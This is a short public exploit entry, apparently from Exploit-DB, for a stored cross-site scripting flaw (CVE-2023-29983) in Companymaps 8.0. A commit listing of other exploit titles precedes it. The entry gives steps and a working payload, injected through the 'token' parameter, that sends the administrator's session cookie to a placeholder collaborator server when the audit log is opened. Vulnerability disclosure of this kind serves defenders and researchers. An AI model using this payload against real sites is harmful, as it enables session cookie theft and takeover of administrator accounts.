668314bbda
19 changes to exploits/shellcodes/ghdb FS-S3900-24T4S - Privilege Escalation Virtual Reception v1.0 - Web Server Directory Traversal admidio v4.2.5 - CSV Injection Companymaps v8.0 - Stored Cross Site Scripting (XSS) GLPI 9.5.7 - Username Enumeration OpenEMR v7.0.1 - Authentication credentials brute force PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS) PHPJabbers Simple CMS 5.0 - SQL Injection PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS) phpMyFAQ v3.1.12 - CSV Injection projectSend r1605 - Private file download revive-adserver v5.4.1 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - File Inclusion RCE SoftExpert (SE) Suite v2.1.3 - Local File Inclusion Advanced Host Monitor v12.56 - Unquoted Service Path MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
20 lines
No EOL
1.1 KiB
Text
20 lines
No EOL
1.1 KiB
Text
# Exploit Title: Companymaps V8.0 - Stored Cross Site Scripting (XSS)
|
|
# Date: 27.04.2023
|
|
# Exploit Author: Lucas Noki (0xPrototype)
|
|
# Vendor Homepage: https://github.com/vogtmh
|
|
# Software Link: https://github.com/vogtmh/cmaps
|
|
# Version: 8.0
|
|
# Tested on: Mac, Windows, Linux
|
|
# CVE : CVE-2023-29983
|
|
|
|
*Steps to reproduce:*
|
|
1. Clone the repository and install the application
|
|
2. Send a maliciously crafted payload via the "token" parameter to the following endpoint: /rest/update/?token=
|
|
3. The payload used is: <script>new+Image().src=`http://YOUR_COLLABORATOR_SERVER/?c=${document.cookie}`</script>
|
|
4. Simply visiting the complete URL: http://IP/rest/update/?token=PAYLOAD is enough.
|
|
5. Login into the admin panel and go to the auditlog under: /admin/index.php?tab=auditlog
|
|
6. Check your collaborator server. You should have a request where the admins cookie is the value of the c parameter
|
|
|
|
In a real world case you would need to wait for the admin to log into the application and open the auditlog tab.
|
|
|
|
Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload. |